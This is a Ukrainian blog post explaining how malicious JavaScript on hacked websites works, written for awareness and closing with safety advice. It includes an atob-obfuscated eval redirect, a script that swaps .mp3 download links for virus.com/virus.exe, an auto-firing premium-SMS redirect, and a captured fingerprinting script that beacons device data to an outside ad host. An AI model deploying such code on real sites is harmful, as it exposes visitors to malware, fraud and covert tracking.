Віруси на JavaScript - розбір польотів

Публікації

Увага! Дана публікація лише для ознайомчих цілей і представлення як працюють віруси на JavaScript. Написання вірусів є порушення закону і несе за собою кримінальну відповідальність.

Вірус на JavaScript - звучить банально. JavaScript виконується у браузері, немає повноцінного доступу до файлової системи користувача (FileReader лише відкриває вибраний користувачем файл) отже заразити систему користувача не може. Отже виходить що написати повноціний вірус на JavaScript не вийде.

На JavaScript написати повноцінний вірус не можна, а от інструмент для завантаження повноцінного вірусу повністю реально. Під повноцінним вірусом мається на увазі віруси написані під ОС (Операційної системи) Windows, Android і т.п.

Так як JavaScript виконується в браузері потрібно щоб користувач (відвідувач) зайшов на заражену веб-сторінку на якій буде виконуватися шкідливий JavaScript код.

Для того щоб вірус попав на сайт хакери зламують хостинг і додають до коду сайту свій шкідливий код. Як зламують хостинг розглядати в цій не будемо, так як це інша тема.

Додавши шкідливий JavaScript код до сайту, хакер запускає інструмент для завантаження повноцінного вірусу або шахрайським способом заробляє кошти.

Інколи про те що сайт заражений повідомляють пошукові системи, браузери (Google Chrome), антивіруси.

У JavaScript є об'єкт Navigator який містить достатню інформацію про пристрій користувача.

У зв'язку з популярністю смартфонів розробники вірусів активно пишуть віруси не тільки для ОС комп'ютерів ай для ОС сматфонів таких як Android і т.п.

Якщо вірус лише для Android чи іншу ОС то шкідливий код перевіряє чи містить властивість Navigator.userAgent назву ОС, наприклад "Android":

if( navigator.userAgent.match( /Android/i ) ) alert('У Вас Android.');

Хоч і властивість Navigator.userAgent підтримують усі сучасні браузери деякі "віруси" використовують наступний код для підтримки старих браузерів:

var userAgent = navigator.userAgent || navigator.vendor || window.opera; if( userAgent.match( /Android/i ) ) alert('У Вас Android.');

Це дозволяє виконати шкідливий код для конкретної ОС.

Також хакери використовують кодування коду за допомогою таких функцій як atob(), unescape() або обфускацію коду.

//eval('location="http://xn--80adth0aefm3i.xn--j1amh/"'); eval(atob('bG9jYXRpb249Imh0dHA6Ly94bi0tODBhZHRoMGFlZm0zaS54bi0tajFhbWgvIg=='));

Завантажуємо вірус за допомогою JavaScript

Якщо декілька років тому основним джерелом розповсюдження вірусу були змінні носії інформації (флешки, дискети - якщо Ви їх ще застали), то зараз це інтернет.

Зайшовши на заражений сайт шкідливий код виводить про нібито знайдені віруси у системі користувача і пропонує завантажити "антивірус" чи "обновлення для ОС". Звісно в такому випадку користувач завантажує вірус, або запропонують відправити платне SMS для скачування "антивіруса".



Для більшого переконання користувача що його система під загрозою шахраї використовують вібрацію у мобільних пристроях за допомогою методу Navigator.vibrate(). А також використовують назву пристрою у повідомленні про "зараження вірусами".

Заміна посилань на завантаження файлу

Потрапивши вірус на сайт може змінювати посилання для завантаження вірусу для ОС Windows або Android. Такий вірус є менш помітний для власника сайту, адже він себе проявляє лише коли відвідувачі (користувачі) завантажують файли.

Приклад заміни посилання для завантаження mp3 файлів на virus.exe:

test.mp3 var el=document.querySelectorAll("a[href$='.mp3']"); for(var i=0;i<el.length;i++) el[i].onclick=function(e){ e.preventDefault(); //зупиняється подія window.location.href="http://virus.com/virus.exe"; //відкривається посилання на завантаження вірусу virus.exe }

JS-скімер

JavaScript скімер (онлайн скімер) перехвачує введені користувачем на сайті дані банківської картки чи платіжної системи і відправляє за допомогою AJAX на сервер шахраїв. В основному це інтернет магазини які дозволяють заплатити за товар за допомогою банківської картки.

Платні SMS

Заробіток на платних SMS активно використовують зараженні сайти.

Для початку сайт просить ввести номер телефону:

Після чого сайт відображає кнопку для відправки SMS.

Для переходу на відправку SMS використовується посилання sms:номер?body=текст.

Після кліку браузер може запитати за допомогою чого виконати дію:

sms відправити <a href="sms:123?body=test">sms відправити</a> document.getElementById('virus_sms_send').onclick=function(){ wondow.location.href="sms:123?body=virus test"; }

Прицьому спостерігається що деякі сайти не чекають коли користувач клікне по посиланню (кнопка "Відправити") для переходу на віпдправлення SMS а роблять це самостійно через певний час:

setTimeout(function(){ window.location = 'sms://123?body=test virus'; }, 2500);

Після переходу по посиланню відкривається SMS повідомлення:

Звісно відправивши SMS Ви лишитеся чималої суми з рахунку мобільного телефону.

Підключення платних послуг - змова з операторами

В інтернеті багато відгуків про те що користувачів шахрайським способом підключають до платних послух таких як відео сайти, за доступ до якого знімається щотижнева оплата з мобільного рахунку.

Для цього шахраї на сайтах (в основному це сайти які розміщують відео, відео-приколи, відео для дорослих і т.п.) розміщують рекламу яка містить скрін відео плеєра. Якщо клікнути по рекламі користувача перенаправить на сайт для підписки на платні послуги. Або скрипт самостійно за допомогою location перенаправляють на платну підписку.

Прочитавши відгуки користувачів в інтернеті я вирішив перевірити чи це дійсно так і як це працює.

Зайшов на відповідний сайт і клікнувши по "рекламі" мене перенаправили на сайт для підписки платних послуг.

При цьому реклама може бути на повний екран, або видається повідомлення що Вам 12+



При цьому мій мобільний номер сайту уже був відомий.

Як сайт отримав мій номер телефону який я не вказував? У JavaScript отримати таку інформацію немає змоги. Передати номер сайту міг лише мій мобільний оператор Life :-). Назвати це можна лише змовою сайту з мобільним оператором.

Звісно на сайті пише про вибравши картинку користувач підтверджує підписку на платні послуги. Сама картинка підібрана ідеально так щоб користувач подумав що це звичайний відео плеєр.

Клікаємо по картинці і в туж секунду приходить SMS повідомлення:

Втратити кошти з мобільного не вдалося тому що не було достатньо коштів. Але у самого SMS повідомлені йшлося про те що протягом 15 днів послуга буде підключена автоматично - знову можна назвати це змовою з оператором.

На вказаний номер я дзвонити не став, а ось у пошуку в Google відгуки на номер 0445852626 не втішні: https://www.google.com.ua/search?q=0445852626.

На сайті було знайдено наступний код:

//http://www.android-films.net/ <script type="text/javascript" src="//am15.net/bn.php?s=77903&f=5&d=65626"></script> <script type="text/javascript" src="//am15.net/bn.php?s=77903&f=1&d=63496"></script>

Підключається шкідливий Javascript код, призначення якого створювати html тег script і додавати його до веб-сторінки. Частина коду:

(function(){ if(!document.getElementById("amuid")) { var amuid = document.createElement("iframe"); amuid.frameBorder = 0; amuid.id="amuid"; amuid.width = 0; amuid.height = 0; amuid.style.display = "block"; amuid.marginwidth = 0; amuid.marginheight = 0; amuid.src = "//am15.net/x/uid.php?rand=46173396&uid=veCW39U"; document.body.appendChild(amuid); } })(); (function (){ if(!document.getElementById("amma")) { var amma = document.createElement("script"); amma.type = "text/javascript"; amma.id = "amma"; amma.className = "ambn"; //amma.charset = "UTF-8"; amma.src = "//x.mobalert.net/moba.php?s=77903&n=1&r=628633029"; document.body.appendChild(amma); } })();

Якщо переходити по адресі яка присвоєна amma.src з десктопного браузера то сервер повертає:

// unsupported device

Якщо переходити з мобільного браузера, а точніше UserAgent браузера буде містити Android, iPhone, iPad тоді сервер повертає Javascript код:

(function(){ var ambn_ref=encodeURIComponent(document.referrer.substring(0,500)); function uid(x) {function fp(x) {var i = [],n = navigator,s = screen;i.push(x);i.push(n.language || n.userLanguage);i.push(n.cpuClass);i.push(n.platform);i.push(n.doNotTrack);i.push(n.hardwareConcurrency);i.push(n.maxTouchPoints);i.push(s.colorDepth);i.push(s.pixelDepth);i.push(s.width);i.push(s.height);i.push(ua().join('_'));i.push(c());var mt = '';for (var j = 0; j < n.mimeTypes.length; j++) {var mti = n.mimeTypes[j].type.replace(/[^a-zA-Z]/g, '');if (mt.indexOf(mti) === -1) {mt += mti;}}i.push(mt);return hash(i.join('_'), 7);}function hash(str, size) {var a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',i,j,c,s = 0,res = [];str = a + str;for (i = 0; i < str.length; i++) {s += str.charCodeAt(i);}s %= 128;for (i = 0; i < str.length; i++) {j = i % size;if (typeof res[j] === 'undefined') {res[j] = 0;}c = str.charCodeAt(i);res[j] += s ^ c + c;}for (i = 0; i < res.length; i++) {res[i] = a.split('')[res[i] % a.length]}res = res.join('');return res;}function ua() {var a = ['Chrome', 'Chromium', 'MSIE', 'Safari', 'Opera', 'OPR', 'Fire', 'Viva', 'Trident', 'Samsung','Lenovo', 'Nokia', 'Phone', 'Mobile', 'Mac', 'Android', 'Linux', 'Pad', 'Nexus', 'Galaxy', 'Oysters','Light', 'ZTE', 'ASUS', 'HTC', 'YaB', 'SOC', 'Amigo', 'Touch', 'Lumia', 'ARM', 'Edge', 'CriOS', 'Dual','HUAWEI', 'Fly', 'ALCATEL', 'Micro', 'Mini', 'Smart', 'TV', 'Tab', 'Quad', 'Beeline', 'Megafon', 'LG','Qt', 'UCB', 'Login', 'Philips', 'x64', 'WOW64'];var r = [];for (var i in a) {if (navigator.userAgent.indexOf(a[i]) != -1) {r.push(a[i]);}}var w = navigator.userAgent.match(/windows[^(;|\))]*/i);if (w !== null) {r.push(w[0]);}return r;}function c() {try {var a = document.createElement("canvas");a.height = 12;a.width = 50;var x = a.getContext("2d");x.textBaseline = "hanging";x.fillStyle = "#f60";x.fillRect(0, 0, 30, 8);x.fillStyle = "#f06";x.fillRect(20, 6, 49, 10);x.fillStyle = "#069";x.fillText("@Wg&%$", 1, 1);x.fillStyle = "rgba(102, 204, 0, 0.7)";x.fillText("@Wg&%$", 2, 2);return a.toDataURL();} catch (err) {return 0;}}return fp(x);} var ambn_uid=uid(""); var ambn_tt; try{ambn_tt=encodeURIComponent(document.getElementsByTagName("TITLE")[0].innerHTML.substring(0,150));}catch(e){ambn_tt="";} if (window.callPhantom||window._phantom){ambn_tt="phantomjs";} var ambn_video=1; var ch_video = document.createElement("video"); try{var vch=ch_video.canPlayType("video/webm");if (vch===""){ambn_video=0;}}catch(e){ambn_video=0;} var ambn_dt=new Date(); var ambn_jq=0;if(window.jQuery){ambn_jq=1;} try{document.getElementById("ambn").style.visibility="hidden";}catch(e){} var ambn_ctype; try{var connection=navigator.connection||navigator.mozConnection||navigator.webkitConnection;ambn_ctype=connection.type;}catch(error){ambn_ctype="";} var ambn_fl=0;if(navigator.plugins){if(navigator.plugins["Shockwave Flash"]){ambn_fl=1;}} var ambn_un=0;if(navigator.mimeTypes&&navigator.mimeTypes["application/vnd.unity"]){if(navigator.mimeTypes["application/vnd.unity"].enabledPlugin&&navigator.plugins&&navigator.plugins["Unity Player"]){ambn_un=1;}} var ambn_cd=document.createElement("script"); ambn_cd.type="text/javascript"; ambn_cd.src="//w130.am15.net/moba1.php?ref="+ambn_ref+"&dt="+parseInt(ambn_dt.getHours())+"&sh="+screen.height+"&fl="+ambn_fl+"&uid="+ambn_uid+"&pl="+encodeURIComponent(navigator.platform)+"&sw="+screen.width+"&vi="+ambn_video+"&k=sYHX8YeF8F2wJESmmU1ipO3dOH0FY6TMDqBd1artpcCENwoRpA0FAK179xeIaupQ_h8xo8AZsAXxg6ixA4_n&ctype="+ambn_ctype+"&un="+ambn_un+"&jq="+ambn_jq+"&tt="+ambn_tt+"&dpr="+window.devicePixelRatio+""; document.body.appendChild(ambn_cd);})();

Висновок

Дана публікація показує що хакери можуть зробити за допомогою Javascript.

Щоб уникнути завантаження вірусів, чи втрати своїх коштів потрібно бути обережним в інтернеті. Не ведіться якщо сайт повідомляє що Ваша система заражена вірусами, навіть якщо це повідомляє видає Ваш улюблений сайт, який Ви відвідуєте уже декілька років. Адже розробники сайту можуть самі довгий час не знати що їхній сайт містить JavaScript вірус.

Все вище написане є для ознайомчих цілей. Автор не несе відповідальності якщо Ви завантажите вірус, чи втратите кошти якщо перейдете по адресі яка є на зображеннях чи у коді.

2017-11-05 15:53:54

Тільки зареєстровані користувачі можуть писати коментарі.